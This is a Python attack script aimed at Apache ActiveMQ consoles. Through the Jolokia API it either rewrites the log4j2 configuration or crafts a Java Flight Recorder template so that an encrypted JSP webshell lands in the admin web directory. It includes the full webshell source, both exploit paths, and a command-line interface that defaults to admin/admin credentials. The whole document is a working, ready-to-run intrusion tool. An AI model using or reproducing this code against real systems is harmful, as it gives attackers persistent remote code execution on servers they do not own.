import sys import logging import requests import argparse import time from urllib.parse import urljoin from html import escape
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') webshell = ('<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>') original_template = r'''<?xml version="1.0" encoding="UTF-8"?> <Configuration> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%5p | %m%n"/> </Console> <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/activemq.log" filePattern="${sys:activemq.data}/activemq.log.%i"> <PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/> <Policies> <SizeBasedTriggeringPolicy size="1MB"/> </Policies> </RollingRandomAccessFile> <RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i"> <PatternLayout pattern="%-5p | %m | %t%n"/> <Policies> <SizeBasedTriggeringPolicy size="1MB"/> </Policies> </RollingRandomAccessFile> </Appenders> <Loggers> <Root level="INFO"> <AppenderRef ref="Console"/> <AppenderRef ref="RollingFile"/> </Root> <Logger name="org.apache.activemq.spring" level="WARN"/> <Logger name="org.apache.activemq.web.handler" level="WARN"/> <Logger name="org.springframework" level="WARN"/> <Logger name="org.apache.xbean" level="WARN"/> <Logger name="org.eclipse.jetty" level="WARN"/> <Logger name="org.apache.activemq.audit" level="INFO" additivity="false"> <AppenderRef ref="AuditLog"/> </Logger> <!-- Uncomment and modify as needed for ActiveMQ logger <Logger name="org.apache.activemq" level="DEBUG"/> --> </Loggers> </Configuration> ''' evil_template = r'''<?xml version="1.0" encoding="UTF-8"?> <Configuration> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%5p | %m%n"/> </Console> <RollingRandomAccessFile name="RollingFile" fileName="${sys:activemq.data}/../webapps/admin/shell.jsp" filePattern="${sys:activemq.data}/../webapps/admin/shell.jsp.%i"> <PatternLayout pattern="%d | %-5p | %m | %c | %t%n%throwable{full}"/> <Policies> <SizeBasedTriggeringPolicy size="1MB"/> </Policies> </RollingRandomAccessFile> <RollingRandomAccessFile name="AuditLog" fileName="${sys:activemq.data}/audit.log" filePattern="${sys:activemq.data}/audit.log.%i"> <PatternLayout pattern="%-5p | %m | %t%n"/> <Policies> <SizeBasedTriggeringPolicy size="1MB"/> </Policies> </RollingRandomAccessFile> </Appenders> <Loggers> <Root level="INFO"> <AppenderRef ref="Console"/> <AppenderRef ref="RollingFile"/> </Root> <Logger name="org.apache.activemq.spring" level="WARN"/> <Logger name="org.apache.activemq.web.handler" level="WARN"/> <Logger name="org.springframework" level="WARN"/> <Logger name="org.apache.xbean" level="WARN"/> <Logger name="org.eclipse.jetty" level="DEBUG"/> <Logger name="org.apache.activemq.audit" level="INFO" additivity="false"> <AppenderRef ref="AuditLog"/> </Logger> <!-- Uncomment and modify as needed for ActiveMQ logger <Logger name="org.apache.activemq" level="DEBUG"/> --> </Loggers> </Configuration> ''' record_template = r'''<?xml version="1.0" encoding="UTF-8"?>
<!-- Recommended way to edit .jfc files is to use Java Mission Control, see Window -> Flight Recorder Template Manager. -->
<configuration version="2.0" label="Continuous" description="Low overhead configuration safe for continuous use in production environments, typically less than 1 % overhead." provider="Oracle">
<event name="jdk.ThreadAllocationStatistics"> <setting name="enabled">true</setting> <setting name="period"><![CDATA[||| '''+webshell+r''' |||]]></setting> </event>
<event name="jdk.ClassLoadingStatistics"> <setting name="enabled">true</setting> <setting name="period">1000 ms</setting> </event>
<event name="jdk.ClassLoaderStatistics"> <setting name="enabled">true</setting> <setting name="period">everyChunk</setting> </event>
<event name="jdk.JavaThreadStatistics"> <setting name="enabled">true</setting> <setting name="period">1000 ms</setting> </event>
<event name="jdk.ThreadStart"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.ThreadEnd"> <setting name="enabled">true</setting> </event>
<event name="jdk.ThreadSleep"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="synchronization-threshold">20 ms</setting> </event>
<event name="jdk.ThreadPark"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="synchronization-threshold">20 ms</setting> </event>
<event name="jdk.JavaMonitorEnter"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="synchronization-threshold">20 ms</setting> </event>
<event name="jdk.JavaMonitorWait"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="synchronization-threshold">20 ms</setting> </event>
<event name="jdk.JavaMonitorInflate"> <setting name="enabled">false</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="synchronization-threshold">20 ms</setting> </event>
<event name="jdk.BiasedLockRevocation"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.BiasedLockSelfRevocation"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.BiasedLockClassRevocation"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.ReservedStackActivation"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.ClassLoad"> <setting name="enabled" control="class-loading-enabled">false</setting> <setting name="stackTrace">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.ClassDefine"> <setting name="enabled" control="class-loading-enabled">false</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.ClassUnload"> <setting name="enabled" control="class-loading-enabled">false</setting> </event>
<event name="jdk.JVMInformation"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.InitialSystemProperty"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.ExecutionSample"> <setting name="enabled" control="method-sampling-enabled">true</setting> <setting name="period" control="method-sampling-java-interval">20 ms</setting> </event>
<event name="jdk.NativeMethodSample"> <setting name="enabled" control="method-sampling-enabled">true</setting> <setting name="period" control="method-sampling-native-interval">20 ms</setting> </event>
<event name="jdk.SafepointBegin"> <setting name="enabled">true</setting> <setting name="threshold">10 ms</setting> </event>
<event name="jdk.SafepointStateSynchronization"> <setting name="enabled">false</setting> <setting name="threshold">10 ms</setting> </event>
<event name="jdk.SafepointWaitBlocked"> <setting name="enabled">false</setting> <setting name="threshold">10 ms</setting> </event>
<event name="jdk.SafepointCleanup"> <setting name="enabled">false</setting> <setting name="threshold">10 ms</setting> </event>
<event name="jdk.SafepointCleanupTask"> <setting name="enabled">false</setting> <setting name="threshold">10 ms</setting> </event>
<event name="jdk.SafepointEnd"> <setting name="enabled">false</setting> <setting name="threshold">10 ms</setting> </event>
<event name="jdk.ExecuteVMOperation"> <setting name="enabled">true</setting> <setting name="threshold">10 ms</setting> </event>
<event name="jdk.Shutdown"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.ThreadDump"> <setting name="enabled" control="thread-dump-enabled">true</setting> <setting name="period" control="thread-dump-interval">everyChunk</setting> </event>
<event name="jdk.IntFlag"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.UnsignedIntFlag"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.LongFlag"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.UnsignedLongFlag"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.DoubleFlag"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.BooleanFlag"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.StringFlag"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.IntFlagChanged"> <setting name="enabled">true</setting> </event>
<event name="jdk.UnsignedIntFlagChanged"> <setting name="enabled">true</setting> </event>
<event name="jdk.LongFlagChanged"> <setting name="enabled">true</setting> </event>
<event name="jdk.UnsignedLongFlagChanged"> <setting name="enabled">true</setting> </event>
<event name="jdk.DoubleFlagChanged"> <setting name="enabled">true</setting> </event>
<event name="jdk.BooleanFlagChanged"> <setting name="enabled">true</setting> </event>
<event name="jdk.StringFlagChanged"> <setting name="enabled">true</setting> </event>
<event name="jdk.ObjectCount"> <setting name="enabled" control="memory-profiling-enabled-all">false</setting> <setting name="period">everyChunk</setting> </event>
<event name="jdk.GCConfiguration"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="period">everyChunk</setting> </event>
<event name="jdk.GCHeapConfiguration"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.YoungGenerationConfiguration"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.GCTLABConfiguration"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.GCSurvivorConfiguration"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.ObjectCountAfterGC"> <setting name="enabled">false</setting> </event>
<event name="jdk.GCHeapSummary"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.PSHeapSummary"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.G1HeapSummary"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.MetaspaceSummary"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.MetaspaceGCThreshold"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.MetaspaceAllocationFailure"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.MetaspaceOOM"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.MetaspaceChunkFreeListSummary"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.GarbageCollection"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.ParallelOldGarbageCollection"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.YoungGarbageCollection"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.OldGarbageCollection"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.G1GarbageCollection"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.GCPhasePause"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.GCPhasePauseLevel1"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.GCPhasePauseLevel2"> <setting name="enabled" control="gc-enabled-normal">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.GCPhasePauseLevel3"> <setting name="enabled" control="gc-enabled-all">false</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.GCPhasePauseLevel4"> <setting name="enabled" control="gc-enabled-all">false</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.GCPhaseConcurrent"> <setting name="enabled" control="gc-enabled-all">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.GCReferenceStatistics"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.PromotionFailed"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.EvacuationFailed"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.EvacuationInformation"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.G1MMU"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.G1EvacuationYoungStatistics"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.G1EvacuationOldStatistics"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.G1BasicIHOP"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.G1AdaptiveIHOP"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.PromoteObjectInNewPLAB"> <setting name="enabled" control="memory-profiling-enabled-medium">false</setting> </event>
<event name="jdk.PromoteObjectOutsidePLAB"> <setting name="enabled" control="memory-profiling-enabled-medium">false</setting> </event>
<event name="jdk.ConcurrentModeFailure"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.AllocationRequiringGC"> <setting name="enabled" control="gc-enabled-all">false</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.TenuringDistribution"> <setting name="enabled" control="gc-enabled-normal">true</setting> </event>
<event name="jdk.G1HeapRegionInformation"> <setting name="enabled" control="gc-enabled-all">false</setting> <setting name="period">everyChunk</setting> </event>
<event name="jdk.G1HeapRegionTypeChange"> <setting name="enabled" control="gc-enabled-all">false</setting> </event>
<event name="jdk.ShenandoahHeapRegionInformation"> <setting name="enabled" control="gc-enabled-all">false</setting> <setting name="period">everyChunk</setting> </event>
<event name="jdk.ShenandoahHeapRegionStateChange"> <setting name="enabled" control="gc-enabled-all">false</setting> </event>
<event name="jdk.OldObjectSample"> <setting name="enabled" control="memory-leak-detection-enabled">true</setting> <setting name="stackTrace" control="memory-leak-detection-stack-trace">false</setting> <setting name="cutoff" control="memory-leak-detection-cutoff">0 ns</setting> </event>
<event name="jdk.CompilerConfiguration"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.CompilerStatistics"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="period">1000 ms</setting> </event>
<event name="jdk.Compilation"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="threshold" control="compiler-compilation-threshold">1000 ms</setting> </event>
<event name="jdk.CompilerPhase"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="threshold" control="compiler-phase-threshold">60 s</setting> </event>
<event name="jdk.CompilationFailure"> <setting name="enabled" control="compiler-enabled-failure">false</setting> </event>
<event name="jdk.CompilerInlining"> <setting name="enabled" control="compiler-enabled-failure">false</setting> </event>
<event name="jdk.CodeSweeperConfiguration"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.CodeSweeperStatistics"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="period">everyChunk</setting> </event>
<event name="jdk.SweepCodeCache"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="threshold" control="compiler-sweeper-threshold">100 ms</setting> </event>
<event name="jdk.CodeCacheConfiguration"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.CodeCacheStatistics"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="period">everyChunk</setting> </event>
<event name="jdk.CodeCacheFull"> <setting name="enabled" control="compiler-enabled">true</setting> </event>
<event name="jdk.OSInformation"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.VirtualizationInformation"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.CPUInformation"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.ThreadContextSwitchRate"> <setting name="enabled" control="compiler-enabled">true</setting> <setting name="period">10 s</setting> </event>
<event name="jdk.CPULoad"> <setting name="enabled">true</setting> <setting name="period">1000 ms</setting> </event>
<event name="jdk.ThreadCPULoad"> <setting name="enabled">true</setting> <setting name="period">10 s</setting> </event>
<event name="jdk.CPUTimeStampCounter"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.SystemProcess"> <setting name="enabled">true</setting> <setting name="period">endChunk</setting> </event>
<event name="jdk.NetworkUtilization"> <setting name="enabled">true</setting> <setting name="period">5 s</setting> </event>
<event name="jdk.InitialEnvironmentVariable"> <setting name="enabled">true</setting> <setting name="period">beginChunk</setting> </event>
<event name="jdk.PhysicalMemory"> <setting name="enabled">true</setting> <setting name="period">everyChunk</setting> </event>
<event name="jdk.ObjectAllocationInNewTLAB"> <setting name="enabled" control="memory-profiling-enabled-medium">false</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.ObjectAllocationOutsideTLAB"> <setting name="enabled" control="memory-profiling-enabled-medium">false</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.NativeLibrary"> <setting name="enabled">true</setting> <setting name="period">everyChunk</setting> </event>
<event name="jdk.ModuleRequire"> <setting name="enabled">true</setting> <setting name="period">endChunk</setting> </event>
<event name="jdk.ModuleExport"> <setting name="enabled">true</setting> <setting name="period">endChunk</setting> </event>
<event name="jdk.FileForce"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="file-io-threshold">20 ms</setting> </event>
<event name="jdk.FileRead"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="file-io-threshold">20 ms</setting> </event>
<event name="jdk.FileWrite"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="file-io-threshold">20 ms</setting> </event>
<event name="jdk.SocketRead"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="socket-io-threshold">20 ms</setting> </event>
<event name="jdk.SocketWrite"> <setting name="enabled">true</setting> <setting name="stackTrace">true</setting> <setting name="threshold" control="socket-io-threshold">20 ms</setting> </event>
<event name="jdk.SecurityPropertyModification"> <setting name="enabled">false</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.TLSHandshake"> <setting name="enabled">false</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.X509Validation"> <setting name="enabled">false</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.X509Certificate"> <setting name="enabled">false</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.JavaExceptionThrow"> <setting name="enabled" control="enable-exceptions">false</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.JavaErrorThrow"> <setting name="enabled" control="enable-errors">true</setting> <setting name="stackTrace">true</setting> </event>
<event name="jdk.ExceptionStatistics"> <setting name="enabled">true</setting> <setting name="period">1000 ms</setting> </event>
<event name="jdk.ActiveRecording"> <setting name="enabled">true</setting> </event>
<event name="jdk.ActiveSetting"> <setting name="enabled">true</setting> </event>
<event name="jdk.DataLoss"> <setting name="enabled">true</setting> </event>
<event name="jdk.DumpReason"> <setting name="enabled">true</setting> </event>
<event name="jdk.ZPageAllocation"> <setting name="enabled">true</setting> <setting name="threshold">10 ms</setting> </event>
<event name="jdk.ZThreadPhase"> <setting name="enabled">true</setting> <setting name="threshold">0 ms</setting> </event>
<event name="jdk.ZStatisticsCounter"> <setting name="enabled">true</setting> <setting name="threshold">10 ms</setting> </event>
<event name="jdk.ZStatisticsSampler"> <setting name="enabled">true</setting> <setting name="threshold">10 ms</setting> </event>
<!-- Contents of the control element is not read by the JVM, it's used by Java Mission Control to change settings that carry the control attribute. --> <control> <selection name="gc-level" default="detailed" label="Garbage Collector"> <option label="Off" name="off">off</option> <option label="Normal" name="detailed">normal</option> <option label="All" name="all">all</option> </selection>
<condition name="gc-enabled-normal" true="true" false="false"> <or> <test name="gc-level" operator="equal" value="normal"/> <test name="gc-level" operator="equal" value="all"/> </or> </condition>
<condition name="gc-enabled-all" true="true" false="false"> <test name="gc-level" operator="equal" value="all"/> </condition>
<selection name="memory-profiling" default="off" label="Memory Profiling"> <option label="Off" name="off">off</option> <option label="Object Allocation and Promotion" name="medium">medium</option> <option label="All, including Heap Statistics (May cause long full GCs)" name="all">all</option> </selection>
<condition name="memory-profiling-enabled-medium" true="true" false="false"> <or> <test name="memory-profiling" operator="equal" value="medium"/> <test name="memory-profiling" operator="equal" value="all"/> </or> </condition>
<condition name="memory-profiling-enabled-all" true="true" false="false"> <test name="memory-profiling" operator="equal" value="all"/> </condition>
<selection name="compiler-level" default="normal" label="Compiler"> <option label="Off" name="off">off</option> <option label="Normal" name="normal">normal</option> <option label="Detailed" name="detailed">detailed</option> <option label="All" name="all">all</option> </selection>
<condition name="compiler-enabled" true="false" false="true"> <test name="compiler-level" operator="equal" value="off"/> </condition>
<condition name="compiler-enabled-failure" true="true" false="false"> <or> <test name="compiler-level" operator="equal" value="detailed"/> <test name="compiler-level" operator="equal" value="all"/> </or> </condition>
<condition name="compiler-sweeper-threshold" true="0 ms" false="100 ms"> <test name="compiler-level" operator="equal" value="all"/> </condition>
<condition name="compiler-compilation-threshold" true="1000 ms"> <test name="compiler-level" operator="equal" value="normal"/> </condition>
<condition name="compiler-compilation-threshold" true="100 ms"> <test name="compiler-level" operator="equal" value="detailed"/> </condition>
<condition name="compiler-compilation-threshold" true="0 ms"> <test name="compiler-level" operator="equal" value="all"/> </condition>
<condition name="compiler-phase-threshold" true="60 s"> <test name="compiler-level" operator="equal" value="normal"/> </condition>
<condition name="compiler-phase-threshold" true="10 s"> <test name="compiler-level" operator="equal" value="detailed"/> </condition>
<condition name="compiler-phase-threshold" true="0 s"> <test name="compiler-level" operator="equal" value="all"/> </condition>
<selection name="method-sampling-interval" default="normal" label="Method Sampling"> <option label="Off" name="off">off</option> <option label="Normal" name="normal">normal</option> <option label="High" name="high">high</option> <option label="Ludicrous (High Overhead)" name="ludicrous">ludicrous</option> </selection> <condition name="method-sampling-java-interval" true="999 d"> <test name="method-sampling-interval" operator="equal" value="off"/> </condition>
<condition name="method-sampling-java-interval" true="20 ms"> <test name="method-sampling-interval" operator="equal" value="normal"/> </condition>
<condition name="method-sampling-java-interval" true="10 ms"> <test name="method-sampling-interval" operator="equal" value="high"/> </condition>
<condition name="method-sampling-java-interval" true="1 ms"> <test name="method-sampling-interval" operator="equal" value="ludicrous"/> </condition> <condition name="method-sampling-native-interval" true="999 d"> <test name="method-sampling-interval" operator="equal" value="off"/> </condition>
<condition name="method-sampling-native-interval" true="20 ms"> <or> <test name="method-sampling-interval" operator="equal" value="normal"/> <test name="method-sampling-interval" operator="equal" value="high"/> <test name="method-sampling-interval" operator="equal" value="ludicrous"/> </or> </condition>
<condition name="method-sampling-enabled" true="false" false="true"> <test name="method-sampling-interval" operator="equal" value="off"/> </condition>
<selection name="thread-dump-interval" default="normal" label="Thread Dump"> <option label="Off" name="off">999 d</option> <option label="At least Once" name="normal">everyChunk</option> <option label="Every 60 s" name="everyMinute">60 s</option> <option label="Every 10 s" name="everyTenSecond">10 s</option> <option label="Every 1 s" name="everySecond">1 s</option> </selection>
<condition name="thread-dump-enabled" true="false" false="true"> <test name="thread-dump-interval" operator="equal" value="999 d"/> </condition>
<selection name="exception-level" default="errors" label="Exceptions"> <option label="Off" name="off">off</option> <option label="Errors Only" name="errors">errors</option> <option label="All Exceptions, including Errors" name="all">all</option> </selection>
<condition name="enable-errors" true="true" false="false"> <or> <test name="exception-level" operator="equal" value="errors"/> <test name="exception-level" operator="equal" value="all"/> </or> </condition>
<condition name="enable-exceptions" true="true" false="false"> <test name="exception-level" operator="equal" value="all"/> </condition>
<selection name="memory-leak-detection" default="minimal" label="Memory Leak Detection"> <option label="Off" name="off">off</option> <option label="Object Types" name="minimal">minimal</option> <option label="Object Types + Allocation Stack Traces" name="medium">medium</option> <option label="Object Types + Allocation Stack Traces + Path to GC Root" name="full">full</option> </selection>
<condition name="memory-leak-detection-enabled" true="false" false="true"> <test name="memory-leak-detection" operator="equal" value="off"/> </condition>
<condition name="memory-leak-detection-stack-trace" true="true" false="false"> <or> <test name="memory-leak-detection" operator="equal" value="medium"/> <test name="memory-leak-detection" operator="equal" value="full"/> </or> </condition>
<condition name="memory-leak-detection-cutoff" true="1 h" false="0 ns"> <test name="memory-leak-detection" operator="equal" value="full"/> </condition>
<text name="synchronization-threshold" label="Synchronization Threshold" contentType="timespan" minimum="0 s">20 ms</text>
<text name="file-io-threshold" label="File I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>
<text name="socket-io-threshold" label="Socket I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>
<flag name="class-loading-enabled" label="Class Loading">false</flag>
</control>
</configuration> '''
class Application(object): def __init__(self, url, username, password): self.url = url self.session = requests.session() self.session.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/117.0.5938.132 Safari/537.36', 'Origin': url, } self.session.auth = (username, password)
def request(self, method: str, path: str, *args, **kwargs): data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json() assert data['status'] == 200 return data
def find_mbean_name(self): data = self.request('GET', '/api/jolokia/list') for name, val in data['value'].items(): if name == 'org.apache.logging.log4j2': for type_name in val.keys(): if type_name.startswith('type='): return f'{name}:{type_name}'
for name, val in data['value'].items(): if name == 'jdk.management.jfr': for type_name in val.keys(): if type_name == 'type=FlightRecorder': return f'{name}:{type_name}'
raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr')
def modify_config(self, mbean: str, template: str): self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean=mbean, operation='setConfigText', arguments=[template, 'utf-8'] ))
def exploit_log4j(self, mbean: str): self.modify_config(mbean, evil_template) logging.info('update log config') self.request('GET', '/api/jolokia/version', headers={ 'User-Agent': f'Mozilla ||| {webshell} |||' }) logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id')) self.modify_config(mbean, original_template) logging.info('restore log config')
def exploit_jfr(self): record_id = self.create_record() logging.info('create flight record, id = %d', record_id) self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='setConfiguration', arguments=[record_id, record_template] )) logging.info('update configuration for record %d', record_id) self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='startRecording', arguments=[record_id] )) logging.info('start record') time.sleep(1) self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='stopRecording', arguments=[record_id] )) logging.info('stop record') self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='copyTo', arguments=[record_id, 'webapps/admin/shelljfr.jsp'] )) logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id'))
def exploit(self, action='auto'): mbean = self.find_mbean_name() if action == 'log4j': logging.info('choice MBean org.apache.logging.log4j2 manually') self.exploit_log4j(mbean) elif action == 'jfr': logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually') self.exploit_jfr() elif mbean.startswith('org.apache.logging.log4j2'): logging.info('choice MBean %r automatically', mbean) self.exploit_log4j(mbean) else: logging.info('choice MBean %r automatically', mbean) self.exploit_jfr()
def create_record(self): data = self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='newRecording', arguments=[] )) return data['value']
def main(): parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ') parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console') parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console') parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit') parser.add_argument('url', type=str) args = parser.parse_args() app = Application(args.url, args.username, args.password) app.exploit(args.exploit)
